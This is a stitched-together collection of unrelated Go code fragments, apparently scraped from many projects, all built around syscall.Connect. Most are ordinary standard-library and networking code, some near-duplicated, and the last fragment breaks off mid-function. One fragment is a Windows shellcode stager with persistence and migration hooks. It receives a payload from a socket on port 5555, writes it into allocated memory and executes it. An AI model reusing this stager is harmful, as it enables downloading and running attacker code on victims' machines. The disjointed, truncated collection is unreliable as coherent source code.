// Conenct wraps syscall.Connect. func (sw *Switch) Connect(s syscall.Handle, sa syscall.Sockaddr) (err error) { so := sw.sockso(s) if so == nil { return syscall.Connect(s, sa) } sw.fmu.RLock() f, _ := sw.fltab[FilterConnect] sw.fmu.RUnlock() af, err := f.apply(so) if err != nil { return err } so.Err = syscall.Connect(s, sa) if err = af.apply(so); err != nil { return err } sw.smu.Lock() defer sw.smu.Unlock() if so.Err != nil { sw.stats.getLocked(so.Cookie).ConnectFailed++ return so.Err } sw.stats.getLocked(so.Cookie).Connected++ return nil }
// Generic socket creation. func socket(net string, f, p, t int, la, ra syscall.Sockaddr, toAddr func(syscall.Sockaddr) Addr) (fd *netFD, err os.Error) { // See ../syscall/exec.go for description of ForkLock. syscall.ForkLock.RLock() s, e := syscall.Socket(f, p, t) if e != 0 { syscall.ForkLock.RUnlock() return nil, os.Errno(e) } syscall.CloseOnExec(s) syscall.ForkLock.RUnlock() // Allow reuse of recently-used addresses. syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1) // Allow broadcast. syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1) if f == syscall.AF_INET6 { // using ip, tcp, udp, etc. // allow both protocols even if the OS default is otherwise. syscall.SetsockoptInt(s, syscall.IPPROTO_IPV6, syscall.IPV6_V6ONLY, 0) } if la != nil { e = syscall.Bind(s, la) if e != 0 { closesocket(s) return nil, os.Errno(e) } } if ra != nil { e = syscall.Connect(s, ra) for e == syscall.EINTR { e = syscall.Connect(s, ra) } if e != 0 { closesocket(s) return nil, os.Errno(e) } } sa, _ := syscall.Getsockname(s) laddr := toAddr(sa) sa, _ = syscall.Getpeername(s) raddr := toAddr(sa) fd, err = newFD(s, f, p, net, laddr, raddr) if err != nil { closesocket(s) return nil, err } return fd, nil }
func (fd *netFD) connect(la, ra syscall.Sockaddr) error { fd.wio.Lock() defer fd.wio.Unlock() if err := fd.pd.PrepareWrite(); err != nil { return err } for { err := syscall.Connect(fd.sysfd, ra) if err == nil || err == syscall.EISCONN { break } // On Solaris we can see EINVAL if the socket has // already been accepted and closed by the server. // Treat this as a successful connection--writes to // the socket will see EOF. For details and a test // case in C see http://golang.org/issue/6828. if runtime.GOOS == "solaris" && err == syscall.EINVAL { break } if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR { return err } if err = fd.pd.WaitWrite(); err != nil { return err } } return nil }
func (fd *netFD) connect(ra syscall.Sockaddr) (err os.Error) { e := syscall.Connect(fd.sysfd, ra) if e != 0 { return os.Errno(e) } return nil }
func (fd *netFD) connect(la, ra syscall.Sockaddr) error { // Do not need to call fd.writeLock here, // because fd is not yet accessible to user, // so no concurrent operations are possible. if err := fd.pd.PrepareWrite(); err != nil { return err } for { err := syscall.Connect(fd.sysfd, ra) if err == nil || err == syscall.EISCONN { break } // On Solaris we can see EINVAL if the socket has // already been accepted and closed by the server. // Treat this as a successful connection--writes to // the socket will see EOF. For details and a test // case in C see http://golang.org/issue/6828. if runtime.GOOS == "solaris" && err == syscall.EINVAL { break } if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR { return err } if err = fd.pd.WaitWrite(); err != nil { return err } } return nil }
func (fd *netFD) connect(la, ra syscall.Sockaddr) error { // Do not need to call fd.writeLock here, // because fd is not yet accessible to user, // so no concurrent operations are possible. if !canUseConnectEx(fd.net) { return syscall.Connect(fd.sysfd, ra) } // ConnectEx windows API requires an unconnected, previously bound socket. if la == nil { switch ra.(type) { case *syscall.SockaddrInet4: la = &syscall.SockaddrInet4{} case *syscall.SockaddrInet6: la = &syscall.SockaddrInet6{} default: panic("unexpected type in connect") } if err := syscall.Bind(fd.sysfd, la); err != nil { return err } } // Call ConnectEx API. o := &fd.wop o.sa = ra _, err := wsrv.ExecIO(o, "ConnectEx", func(o *operation) error { return syscall.ConnectEx(o.fd.sysfd, o.sa, nil, 0, nil, &o.o) }) if err != nil { return err } // Refresh socket properties. return syscall.Setsockopt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_UPDATE_CONNECT_CONTEXT, (*byte)(unsafe.Pointer(&fd.sysfd)), int32(unsafe.Sizeof(fd.sysfd))) }
func (fd *netFD) connect(ra syscall.Sockaddr) error { if !canUseConnectEx(fd.net) { return syscall.Connect(fd.sysfd, ra) } // ConnectEx windows API requires an unconnected, previously bound socket. var la syscall.Sockaddr switch ra.(type) { case *syscall.SockaddrInet4: la = &syscall.SockaddrInet4{} case *syscall.SockaddrInet6: la = &syscall.SockaddrInet6{} default: panic("unexpected type in connect") } if err := syscall.Bind(fd.sysfd, la); err != nil { return err } // Call ConnectEx API. var o connectOp o.Init(fd, 'w') o.ra = ra _, err := iosrv.ExecIO(&o, fd.wdeadline.value()) if err != nil { return err } // Refresh socket properties. return syscall.Setsockopt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_UPDATE_CONNECT_CONTEXT, (*byte)(unsafe.Pointer(&fd.sysfd)), int32(unsafe.Sizeof(fd.sysfd))) }
/* c.sa = new(syscall.SockaddrInet4) c.sa.Addr = [4]byte{10, 1, 1, 131} c.sa.Port = port */ func (c *Worker) socket() { begin := time.Now() s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) if err != nil { syscall.Close(s) return } err = syscall.Connect(s, nil) //TODO if err != nil { lg(err) syscall.Close(s) return } _, err = syscall.Write(s, message.content) if err != nil { syscall.Close(s) return } _, err = syscall.Read(s, c.data) if err != nil { syscall.Close(s) return } syscall.Close(s) time.Now().Sub(begin) }
func (fd *netFD) connect(la, ra syscall.Sockaddr, deadline time.Time) error { // Do not need to call fd.writeLock here, // because fd is not yet accessible to user, // so no concurrent operations are possible. switch err := syscall.Connect(fd.sysfd, ra); err { case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR: case nil, syscall.EISCONN: if !deadline.IsZero() && deadline.Before(time.Now()) { return errTimeout } if err := fd.init(); err != nil { return err } return nil case syscall.EINVAL: // On Solaris we can see EINVAL if the socket has // already been accepted and closed by the server. // Treat this as a successful connection--writes to // the socket will see EOF. For details and a test // case in C see http://golang.org/issue/6828. if runtime.GOOS == "solaris" { return nil } fallthrough default: return err } if err := fd.init(); err != nil { return err } if !deadline.IsZero() { fd.setWriteDeadline(deadline) defer fd.setWriteDeadline(noDeadline) } for { // Performing multiple connect system calls on a // non-blocking socket under Unix variants does not // necessarily result in earlier errors being // returned. Instead, once runtime-integrated network // poller tells us that the socket is ready, get the // SO_ERROR socket option to see if the connection // succeeded or failed. See issue 7474 for further // details. if err := fd.pd.WaitWrite(); err != nil { return err } nerr, err := syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR) if err != nil { return err } switch err := syscall.Errno(nerr); err { case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR: case syscall.Errno(0), syscall.EISCONN: return nil default: return err } } }
func (io *NetIOManager) ProxyNetAccept(serverinfo syscall.Sockaddr) (sa syscall.Sockaddr, err error) { var clientfd, serverfd int // accpet mongodb client connection request clientfd, clientinfo, err := syscall.Accept(io.proxy_server_fd) if err != nil { goto ClientError } err = syscall.SetNonblock(clientfd, true) if err != nil { goto ClientCleanup } err = syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_ADD, clientfd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT | syscall.EPOLLRDHUP, Fd: int32(clientfd)}) if err != nil { goto ClientCleanup } // establish connection with mongodb server serverfd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) if err != nil { goto ServerError } err = syscall.Connect(serverfd, serverinfo) if err != nil { goto ServerCleanup } err = syscall.SetNonblock(serverfd, true) if err != nil { goto ServerCleanup } err = syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_ADD, serverfd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT | syscall.EPOLLRDHUP, Fd: int32(serverfd)}) if err != nil { goto ServerCleanup } // now proxy server becomes a bridge between client <-> server add_sock_peer(io, clientfd, clientinfo, serverfd, serverinfo) return clientinfo, nil ServerCleanup: syscall.Close(serverfd) ServerError: syscall.EpollCtl(io.epoll_fd, syscall.EPOLL_CTL_DEL, clientfd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT | syscall.EPOLLRDHUP, Fd: int32(clientfd)}) ClientCleanup: syscall.Close(clientfd) ClientError: return nil, err }
// Etablie une connexion via socket à l'aide des librairies POSIX (BSD) func (c *Conn) Dial(port int, addr [4]byte) (err error) { c.sa = s.SockaddrInet4{Port: port, Addr: addr} c.sd, err = s.Socket(s.AF_INET, s.SOCK_STREAM, 0) if err != nil { return } s.Connect(c.sd, &c.sa) return }
// bindLookupIP implements the BindToDevice LookupIP case. // To implement socket device binding, the lower-level syscall APIs are used. // The sequence of syscalls in this implementation are taken from: // https://code.google.com/p/go/issues/detail?id=6966 func bindLookupIP(host string, config *DialConfig) (addrs []net.IP, err error) { // When the input host is an IP address, echo it back ipAddr := net.ParseIP(host) if ipAddr != nil { return []net.IP{ipAddr}, nil } socketFd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, 0) if err != nil { return nil, ContextError(err) } defer syscall.Close(socketFd) err = config.DeviceBinder.BindToDevice(socketFd) if err != nil { return nil, ContextError(fmt.Errorf("BindToDevice failed: %s", err)) } // config.DnsServerGetter.GetDnsServer must return an IP address ipAddr = net.ParseIP(config.DnsServerGetter.GetDnsServer()) if ipAddr == nil { return nil, ContextError(errors.New("invalid IP address")) } // TODO: IPv6 support var ip [4]byte copy(ip[:], ipAddr.To4()) sockAddr := syscall.SockaddrInet4{Addr: ip, Port: DNS_PORT} // Note: no timeout or interrupt for this connect, as it's a datagram socket err = syscall.Connect(socketFd, &sockAddr) if err != nil { return nil, ContextError(err) } // Convert the syscall socket to a net.Conn, for use in the dns package file := os.NewFile(uintptr(socketFd), "") defer file.Close() conn, err := net.FileConn(file) if err != nil { return nil, ContextError(err) } // Set DNS query timeouts, using the ConnectTimeout from the overall Dial if config.ConnectTimeout != 0 { conn.SetReadDeadline(time.Now().Add(config.ConnectTimeout)) conn.SetWriteDeadline(time.Now().Add(config.ConnectTimeout)) } // TODO: make conn interruptible? addrs, _, err = ResolveIP(host, conn) return }
// connectSocket makes the connection to the given IP address port // for the given socket fd func (conn *ProtectedConn) connectSocket() error { sockAddr := syscall.SockaddrInet4{Addr: conn.ip, Port: conn.port} errCh := make(chan error, 2) time.AfterFunc(connectTimeOut, func() { errCh <- errors.New("connect timeout") }) go func() { errCh <- syscall.Connect(conn.socketFd, &sockAddr) }() err := <-errCh return err }
// this is close to the connect() function inside stdlib/net func connect(fd int, ra syscall.Sockaddr, deadline time.Time) error { switch err := syscall.Connect(fd, ra); err { case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR: case nil, syscall.EISCONN: if !deadline.IsZero() && deadline.Before(time.Now()) { return errTimeout } return nil default: return err } poller, err := poll.New(fd) if err != nil { return err } defer poller.Close() for { if err = poller.WaitWrite(deadline); err != nil { return err } // if err := fd.pd.WaitWrite(); err != nil { // return err // } // i'd use the above fd.pd.WaitWrite to poll io correctly, just like net sockets... // but of course, it uses the damn runtime_* functions that _cannot_ be used by // non-go-stdlib source... seriously guys, this is not nice. // we're relegated to using syscall.Select (what nightmare that is) or using // a simple but totally bogus time-based wait. such garbage. var nerr int nerr, err = syscall.GetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_ERROR) if err != nil { return err } switch err = syscall.Errno(nerr); err { case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR: continue case syscall.Errno(0), syscall.EISCONN: if !deadline.IsZero() && deadline.Before(time.Now()) { return errTimeout } return nil default: return err } } }
func system_dialer(net string, laddr *net.TCPAddr) (fd int, err error) { switch { case laddr.IP.To4() != nil: var addr [4]byte copy(addr[:], laddr.IP[len(laddr.IP)-4:len(laddr.IP)]) return dialer_tcp_(tcp4_socket, func(fd int) error { return syscall.Connect(fd, &syscall.SockaddrInet4{Port: laddr.Port, Addr: addr}) }) case laddr.IP.To16() != nil: var addr [16]byte copy(addr[:], laddr.IP) return dialer_tcp_(tcp6_socket, func(fd int) error { return syscall.Connect(fd, &syscall.SockaddrInet6{Port: laddr.Port, Addr: addr}) }) } return -1, &E_UnknownProto{net} }
func connectUDP(laddr, raddr syscall.Sockaddr) int { fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, 0) chk(err) err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1) chk(err) err = syscall.Bind(fd, laddr) chk(err) err = syscall.Connect(fd, raddr) chk(err) return fd }
func (fd *netFD) connect(ra syscall.Sockaddr) error { err := syscall.Connect(fd.sysfd, ra) if err == syscall.EINPROGRESS { pollserver.WaitWrite(fd) var e int e, err = syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR) if err != nil { return os.NewSyscallError("getsockopt", err) } if e != 0 { err = syscall.Errno(e) } } return err }
func (fd *netFD) connect(ra syscall.Sockaddr) (err error) { e := syscall.Connect(fd.sysfd, ra) if e == syscall.EINPROGRESS { var errno int pollserver.WaitWrite(fd) e, errno = syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR) if errno != 0 { return os.NewSyscallError("getsockopt", errno) } } if e != 0 { return os.Errno(e) } return nil }
// Etablie une connexion via socket à l'aide des librairys WSA (windows). func (c *Conn) Dial(port int, addr [4]byte) (err error) { c.sa = s.SockaddrInet4{Port: port, Addr: addr} fmt.Println("OVERLAPPED") fmt.Println(c.overlapped) err = s.WSAStartup(uint32(0x202), &c.wsadata) if err != nil { return } c.sd, err = s.Socket(s.AF_INET, s.SOCK_STREAM, 6) if err != nil { return } s.Connect(c.sd, &c.sa) return }
func main() { fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) check(err) addr := &syscall.SockaddrInet4{Port: 3000, Addr: [4]byte{0, 0, 0, 0}} err = syscall.Connect(fd, addr) check(err) _, err = syscall.Write(fd, []byte("hi\n")) check(err) data := make([]byte, 1024) _, err = syscall.Read(fd, data) check(err) fmt.Printf("Server sent: %s", string(data)) }
// Generic socket creation. func socket(net string, f, p, t int, la, ra syscall.Sockaddr, toAddr func(syscall.Sockaddr) Addr) (fd *netFD, err os.Error) { // See ../syscall/exec.go for description of ForkLock. syscall.ForkLock.RLock() s, e := syscall.Socket(f, p, t) if e != 0 { syscall.ForkLock.RUnlock() return nil, os.Errno(e) } syscall.CloseOnExec(s) syscall.ForkLock.RUnlock() // Allow reuse of recently-used addresses. syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1) // Allow broadcast. syscall.SetsockoptInt(s, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1) if la != nil { e = syscall.Bind(s, la) if e != 0 { syscall.Close(s) return nil, os.Errno(e) } } if ra != nil { e = syscall.Connect(s, ra) if e != 0 { syscall.Close(s) return nil, os.Errno(e) } } sa, _ := syscall.Getsockname(s) laddr := toAddr(sa) sa, _ = syscall.Getpeername(s) raddr := toAddr(sa) fd, err = newFD(s, f, p, net, laddr, raddr) if err != nil { syscall.Close(s) return nil, err } return fd, nil }
func main() { //RSE.Persistence() var WSA_Data syscall.WSAData syscall.WSAStartup(uint32(0x202), &WSA_Data) Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) Socket_Addr := syscall.SockaddrInet4{Port: 5555, Addr: [4]byte{127, 0, 0, 1}} syscall.Connect(Socket, &Socket_Addr) var Length [4]byte WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &Length[0]} UitnZero_1 := uint32(0) DataReceived := uint32(0) syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil) Length_int := binary.LittleEndian.Uint32(Length[:]) if Length_int < 100 { main() } Shellcode_Buffer := make([]byte, Length_int) var Shellcode []byte WSA_Buffer = syscall.WSABuf{Len: Length_int, Buf: &Shellcode_Buffer[0]} UitnZero_1 = uint32(0) DataReceived = uint32(0) TotalDataReceived := uint32(0) for TotalDataReceived < Length_int { syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil) for i := 0; i < int(DataReceived); i++ { Shellcode = append(Shellcode, Shellcode_Buffer[i]) } TotalDataReceived += DataReceived } Addr := Allocate(uintptr(Length_int + 5)) AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr)) SocketPtr := (uintptr)(unsafe.Pointer(Socket)) AddrPtr[0] = 0xBF AddrPtr[1] = byte(SocketPtr) AddrPtr[2] = 0x00 AddrPtr[3] = 0x00 AddrPtr[4] = 0x00 for BpuAKrJxfl, IIngacMaBh := range Shellcode { AddrPtr[BpuAKrJxfl+5] = IIngacMaBh } //RSE.Migrate(Addr, Length_int) syscall.Syscall(Addr, 0, 0, 0, 0) }
func (fd *netFD) connect(la, ra syscall.Sockaddr) error { fd.wio.Lock() defer fd.wio.Unlock() if err := fd.pd.PrepareWrite(); err != nil { return err } for { err := syscall.Connect(fd.sysfd, ra) if err == nil || err == syscall.EISCONN { break } if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR { return err } if err = fd.pd.WaitWrite(); err != nil { return err } } return nil }
func (fd *netFD) connect(la, ra syscall.Sockaddr) error { // Do not need to call fd.writeLock here, // because fd is not yet accessible to user, // so no concurrent operations are possible. if err := fd.pd.PrepareWrite(); err != nil { return err } for { err := syscall.Connect(fd.sysfd, ra) if err == nil || err == syscall.EISCONN { break } if err != syscall.EINPROGRESS && err != syscall.EALREADY && err != syscall.EINTR { return err } if err = fd.pd.WaitWrite(); err != nil { return err } } return nil }
func (fd *netFD) connect(ra syscall.Sockaddr) error { err := syscall.Connect(fd.sysfd, ra) hadTimeout := fd.wdeadline > 0 if err == syscall.EINPROGRESS { if err = fd.pollServer.WaitWrite(fd); err != nil { return err } if hadTimeout && fd.wdeadline < 0 { return errTimeout } var e int e, err = syscall.GetsockoptInt(fd.sysfd, syscall.SOL_SOCKET, syscall.SO_ERROR) if err != nil { return os.NewSyscallError("getsockopt", err) } if e != 0 { err = syscall.Errno(e) } } return err }
func selfConnectedTCPSocket() (pr, pw *os.File, err os.Error) { // See ../syscall/exec.go for description of ForkLock. syscall.ForkLock.RLock() sockfd, e := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) if e != 0 { syscall.ForkLock.RUnlock() return nil, nil, os.Errno(e) } syscall.CloseOnExec(sockfd) syscall.ForkLock.RUnlock() // Allow reuse of recently-used addresses. syscall.SetsockoptInt(sockfd, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1) var laTCP *TCPAddr var la syscall.Sockaddr if laTCP, err = ResolveTCPAddr("127.0.0.1:0"); err != nil { Error: return nil, nil, err } if la, err = laTCP.sockaddr(syscall.AF_INET); err != nil { goto Error } e = syscall.Bind(sockfd, la) if e != 0 { Errno: syscall.Close(sockfd) return nil, nil, os.Errno(e) } laddr, _ := syscall.Getsockname(sockfd) e = syscall.Connect(sockfd, laddr) if e != 0 { goto Errno } fd := os.NewFile(sockfd, "wakeupSocket") return fd, fd, nil }
func DialTCPTimeoutWithMD5Sig(host string, port int, localAddr, key string, msec int) (*net.TCPConn, error) { var family int var ra, la syscall.Sockaddr ip, err := net.ResolveIPAddr("ip", host) if err != nil { return nil, fmt.Errorf("invalid ip: %s", err) } l, err := net.ResolveIPAddr("ip", localAddr) if l == nil { return nil, fmt.Errorf("invalid local ip: %s", err) } if (ip.IP.To4() != nil) != (l.IP.To4() != nil) { return nil, fmt.Errorf("remote and local ip address family is not same") } switch { case ip.IP.To4() != nil: family = syscall.AF_INET i := &syscall.SockaddrInet4{ Port: port, } for idx, _ := range i.Addr { i.Addr[idx] = ip.IP.To4()[idx] } ra = i j := &syscall.SockaddrInet4{} for idx, _ := range j.Addr { j.Addr[idx] = l.IP.To4()[idx] } la = j default: family = syscall.AF_INET6 i := &syscall.SockaddrInet6{ Port: port, } for idx, _ := range i.Addr { i.Addr[idx] = ip.IP[idx] } ra = i var zone uint32 if l.Zone != "" { intf, err := net.InterfaceByName(l.Zone) if err != nil { return nil, err } zone = uint32(intf.Index) } j := &syscall.SockaddrInet6{ ZoneId: zone, } for idx, _ := range j.Addr { j.Addr[idx] = l.IP[idx] } la = j } sotype := syscall.SOCK_STREAM | syscall.SOCK_CLOEXEC | syscall.SOCK_NONBLOCK proto := 0 fd, err := syscall.Socket(family, sotype, proto) if err != nil { return nil, err } fi := os.NewFile(uintptr(fd), "") defer fi.Close() t, err := buildTcpMD5Sig(host, key) if err != nil { return nil, err } if _, _, e := syscall.Syscall6(syscall.SYS_SETSOCKOPT, uintptr(fd), uintptr(syscall.IPPROTO_TCP), uintptr(TCP_MD5SIG), uintptr(unsafe.Pointer(&t)), unsafe.Sizeof(t), 0); e > 0 { return nil, os.NewSyscallError("setsockopt", e) } if err = syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_BROADCAST, 1); err != nil { return nil, os.NewSyscallError("setsockopt", err) } if err = syscall.SetsockoptInt(fd, syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1); err != nil { return nil, os.NewSyscallError("setsockopt", err) } if err = syscall.Bind(fd, la); err != nil { return nil, os.NewSyscallError("bind", err) } tcpconn := func(fi *os.File) (*net.TCPConn, error) { conn, err := net.FileConn(fi) return conn.(*net.TCPConn), err } err = syscall.Connect(fd, ra) switch err { case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR: // do timeout handling case nil, syscall.EISCONN: return tcpconn(fi) default: return nil, os.NewSyscallError("connect", err) } epfd, e := syscall.EpollCreate1(syscall.EPOLL_CLOEXEC) if e != nil { return nil, e } defer syscall.Close(epfd) var event syscall.EpollEvent events := make([]syscall.EpollEvent, 1) event.Events = syscall.EPOLLIN | syscall.EPOLLOUT | syscall.EPOLLPRI event.Fd = int32(fd) if e = syscall.EpollCtl(epfd, syscall.EPOLL_CTL_ADD, fd, &event); e != nil { return nil, e } for { nevents, e := syscall.EpollWait(epfd, events, msec) if e != nil { return nil, e } if nevents == 0 { return nil, fmt.Errorf("timeout") } else if nevents == 1 && events[0].Fd == int32(fd) { nerr, err := syscall.GetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_ERROR) if err != nil { return nil, os.NewSyscallError("getsockopt", err) } switch err := syscall.Errno(nerr); err { case syscall.EINPROGRESS, syscall.EALREADY, syscall.EINTR: case syscall.Errno(0), syscall.EISCONN: return tcpconn(fi) default: return nil, os.NewSyscallError("getsockopt", err) } } else { return nil, fmt.Errorf("unexpected epoll behavior") } } }
func tryConnect(dest net.IPAddr, port, ttl, query int, timeout time.Duration) (result connectEvent) { log.Printf("try Connect dest: %v port: %v ttl: %v query: %v timeout: %v", dest, port, ttl, query, timeout) // fill in the event with as much info as we have so far event := connectEvent{ remoteAddr: dest, remotePort: port, ttl: ttl, query: query, } sock, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) if err != nil { result = makeErrorEvent(&event, err) return } defer syscall.Close(sock) err = syscall.SetsockoptInt(sock, 0x0, syscall.IP_TTL, ttl) if err != nil { result = makeErrorEvent(&event, err) return } err = syscall.SetNonblock(sock, true) if err != nil { result = makeErrorEvent(&event, err) return } // ignore error from connect in non-blocking mode. as it will always return an // in progress error _ = syscall.Connect(sock, ToSockaddrInet4(dest, port)) // get the local ip address and port number local, err := syscall.Getsockname(sock) if err != nil { result = makeErrorEvent(&event, err) return } // fill in the local endpoint deatils on the event struct event.localAddr, event.localPort, err = ToIPAddrAndPort(local) if err != nil { result = makeErrorEvent(&event, err) return } log.Printf(".... try Connect local endpoint: %v : %v", event.localAddr, event.localPort) state, err := waitWithTimeout(sock, timeout) switch state { case SocketError: result = makeErrorEvent(&event, err) case SocketConnected: result = makeEvent(&event, connectConnected) case SocketNotReached: result = makeEvent(&event, connectUnreachable) case SocketPortClosed: result = makeEvent(&event, connectRefused) case SocketTimedOut: result = makeEvent(&event, connectTimedOut) } return }
func Listen(rendezvousAddr string, key string) (net.Listener, error) { raddr, err := net.ResolveTCPAddr("tcp", rendezvousAddr) if err != nil { return nil, err } rsockaddr, domain, err := tcpaddrToSockaddr(raddr) if err != nil { return nil, err } sendSock, err := syscall.Socket(domain, syscall.SOCK_STREAM, 0) if err != nil { return nil, err } if err := syscall.SetsockoptInt( sendSock, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1, ); err != nil { return nil, err } if err := syscall.Connect(sendSock, rsockaddr); err != nil { return nil, err } lsockaddr, err := syscall.Getsockname(sendSock) if err != nil { return nil, err } listenSock, err := syscall.Socket(domain, syscall.SOCK_STREAM, 0) if err != nil { return nil, err } if err := syscall.SetsockoptInt( listenSock, syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1, ); err != nil { return nil, err } if err := syscall.Bind(listenSock, lsockaddr); err != nil { return nil, err } if err := syscall.Listen(listenSock, 1000); err != nil { return nil, err } sendFile := os.NewFile(uintptr(sendSock), "rendezvous-send") listenFile := os.NewFile(uintptr(listenSock), "rendezvous-listen") rendezvousConn, err := net.FileConn(sendFile) if err != nil { return nil, err } encoder := json.NewEncoder(rendezvousConn) message := map[string]string{ "action": "listen", "key": key, } if err := encoder.Encode(&message); err != nil { return nil, err } return net.FileListener(listenFile) }
{ ErrFmt: "Port [%d] add fd to epoll error [%s]", Action: func(tc *TunnelConn) (err error) { return syscall.EpollCtl(epollFd, syscall.EPOLL_CTL_ADD, tc.EFd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT, Fd: int32(tc.EFd)}) }}, { ErrFmt: "Port [%d] create new socket error [%s]", Action: func(tc *TunnelConn) (err error) { tc.IFd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, syscall.IPPROTO_TCP) return }}, { ErrFmt: "Port [%d] connect to inner port error [%s]", Action: func(tc *TunnelConn) (err error) { t := tc.RelTunnel return syscall.Connect(tc.IFd, &syscall.SockaddrInet4{Port: int(t.IPort), Addr: [4]byte{t.IIp[12], t.IIp[13], t.IIp[14], t.IIp[15]}}) }}, { ErrFmt: "Port [%d] set inner fd nonblock error [%s]", Action: func(tc *TunnelConn) (err error) { return syscall.SetNonblock(tc.IFd, true) }}, { ErrFmt: "Port [%d] add inner fd to epoll error [%s]", Action: func(tc *TunnelConn) (err error) { return syscall.EpollCtl(epollFd, syscall.EPOLL_CTL_ADD, tc.IFd, &syscall.EpollEvent{Events: syscall.EPOLLIN | syscall.EPOLLOUT, Fd: int32(tc.IFd)}) }}, { ErrFmt: "Port [%d] set outer fd rcvbuf size error [%s]", Action: func(tc *TunnelConn) (err error) { // Set rcvbuf to the minimum size of system 2KB, the kernel will double it automatically